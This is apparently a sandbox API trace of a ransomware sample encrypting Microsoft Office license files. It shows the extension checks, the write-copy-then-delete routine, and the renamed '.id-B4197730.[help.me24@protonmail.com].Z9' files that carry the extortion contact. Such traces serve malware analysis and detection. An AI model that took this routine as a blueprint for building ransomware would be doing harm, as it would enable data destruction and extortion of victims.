	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString=".doc") returned 4
	[0183.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString=".docx") returned 5
	[0183.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.276] lstrlenW (lpString=".pdf") returned 4
	[0183.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".xls") returned 4
	[0183.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".xlsx") returned 5
	[0183.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.277] lstrlenW (lpString=".ppt") returned 4
	[0183.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.277] lstrlenW (lpString=".zip") returned 4
	[0183.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".rar") returned 4
	[0183.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".bz2") returned 4
	[0183.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".7z") returned 3
	[0183.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.277] lstrlenW (lpString=".dbf") returned 4
	[0183.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.277] lstrlenW (lpString=".1cd") returned 4
	[0183.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.277] lstrlenW (lpString=".jpg") returned 4
	[0183.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.277] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29
	[0183.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.278] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=21727) returned 1
	[0183.278] CloseHandle (hObject=0x344) returned 1
	[0183.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220
	[0183.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.279] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.281] GetLastError () returned 0x0
	[0183.281] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x54df, lpOverlapped=0x0) returned 1
	[0183.284] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0183.285] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.286] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.286] SetEndOfFile (hFile=0x52c) returned 1
	[0183.286] CloseHandle (hObject=0x52c) returned 1
	[0183.286] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.286] SetEndOfFile (hFile=0x344) returned 1
	[0183.290] CloseHandle (hObject=0x344) returned 1
	[0183.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1
	[0183.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.292] lstrlenW (lpString=".doc") returned 4
	[0183.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.292] lstrlenW (lpString=".docx") returned 5
	[0183.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.293] lstrlenW (lpString=".pdf") returned 4
	[0183.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString=".xls") returned 4
	[0183.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString=".xlsx") returned 5
	[0183.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.293] lstrlenW (lpString=".ppt") returned 4
	[0183.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.293] lstrlenW (lpString=".zip") returned 4
	[0183.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString=".rar") returned 4
	[0183.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString=".bz2") returned 4
	[0183.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString=".7z") returned 3
	[0183.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.293] lstrlenW (lpString=".dbf") returned 4
	[0183.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.293] lstrlenW (lpString=".1cd") returned 4
	[0183.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.293] lstrlenW (lpString=".jpg") returned 4
	[0183.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.294] lstrlenW (lpString=".doc") returned 4
	[0183.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".docx") returned 5
	[0183.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.294] lstrlenW (lpString=".pdf") returned 4
	[0183.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".xls") returned 4
	[0183.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".xlsx") returned 5
	[0183.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.294] lstrlenW (lpString=".ppt") returned 4
	[0183.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.294] lstrlenW (lpString=".zip") returned 4
	[0183.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".rar") returned 4
	[0183.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".bz2") returned 4
	[0183.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString=".7z") returned 3
	[0183.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.294] lstrlenW (lpString=".dbf") returned 4
	[0183.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.294] lstrlenW (lpString=".1cd") returned 4
	[0183.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0183.295] lstrlenW (lpString=".jpg") returned 4
	[0183.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.295] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32
	[0183.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.296] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11616) returned 1
	[0183.296] CloseHandle (hObject=0x344) returned 1
	[0183.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220
	[0183.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.297] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.297] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.299] GetLastError () returned 0x0
	[0183.299] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0183.301] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0183.303] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.303] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x114, lpOverlapped=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x52c) returned 1
	[0183.303] CloseHandle (hObject=0x52c) returned 1
	[0183.303] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x344) returned 1
	[0183.308] CloseHandle (hObject=0x344) returned 1
	[0183.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1
	[0183.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.601] lstrlenW (lpString=".doc") returned 4
	[0183.616] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.616] lstrlenW (lpString=".docx") returned 5
	[0183.616] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.616] lstrlenW (lpString=".pdf") returned 4
	[0183.616] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.616] lstrlenW (lpString=".xls") returned 4
	[0183.616] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString=".xlsx") returned 5
	[0183.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.629] lstrlenW (lpString=".ppt") returned 4
	[0183.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.629] lstrlenW (lpString=".zip") returned 4
	[0183.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString=".rar") returned 4
	[0183.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString=".bz2") returned 4
	[0183.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString=".7z") returned 3
	[0183.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.629] lstrlenW (lpString=".dbf") returned 4
	[0183.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.629] lstrlenW (lpString=".1cd") returned 4
	[0183.630] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".jpg") returned 4
	[0183.630] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".doc") returned 4
	[0183.630] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".docx") returned 5
	[0183.630] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.630] lstrlenW (lpString=".pdf") returned 4
	[0183.630] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".xls") returned 4
	[0183.630] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".xlsx") returned 5
	[0183.630] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.630] lstrlenW (lpString=".ppt") returned 4
	[0183.630] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".zip") returned 4
	[0183.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".rar") returned 4
	[0183.630] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".bz2") returned 4
	[0183.630] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString=".7z") returned 3
	[0183.630] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".dbf") returned 4
	[0183.630] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".1cd") returned 4
	[0183.630] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0183.630] lstrlenW (lpString=".jpg") returned 4
	[0183.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.631] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.631] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32
	[0183.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.632] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=12416) returned 1
	[0183.632] CloseHandle (hObject=0x538) returned 1
	[0183.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220
	[0183.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.632] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.632] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.634] GetLastError () returned 0x0
	[0183.634] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x3080, lpOverlapped=0x0) returned 1
	[0183.636] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x3090, lpOverlapped=0x0) returned 1
	[0183.637] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.637] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x114, lpOverlapped=0x0) returned 1
	[0183.637] SetEndOfFile (hFile=0x55c) returned 1
	[0183.638] CloseHandle (hObject=0x55c) returned 1
	[0183.638] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.638] SetEndOfFile (hFile=0x538) returned 1
	[0183.646] CloseHandle (hObject=0x538) returned 1
	[0183.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1
	[0183.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.648] lstrlenW (lpString=".doc") returned 4
	[0183.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.648] lstrlenW (lpString=".docx") returned 5
	[0183.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.648] lstrlenW (lpString=".pdf") returned 4
	[0183.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.648] lstrlenW (lpString=".xls") returned 4
	[0183.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.648] lstrlenW (lpString=".xlsx") returned 5
	[0183.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.648] lstrlenW (lpString=".ppt") returned 4
	[0183.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString=".zip") returned 4
	[0183.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString=".rar") returned 4
	[0183.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString=".bz2") returned 4
	[0183.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
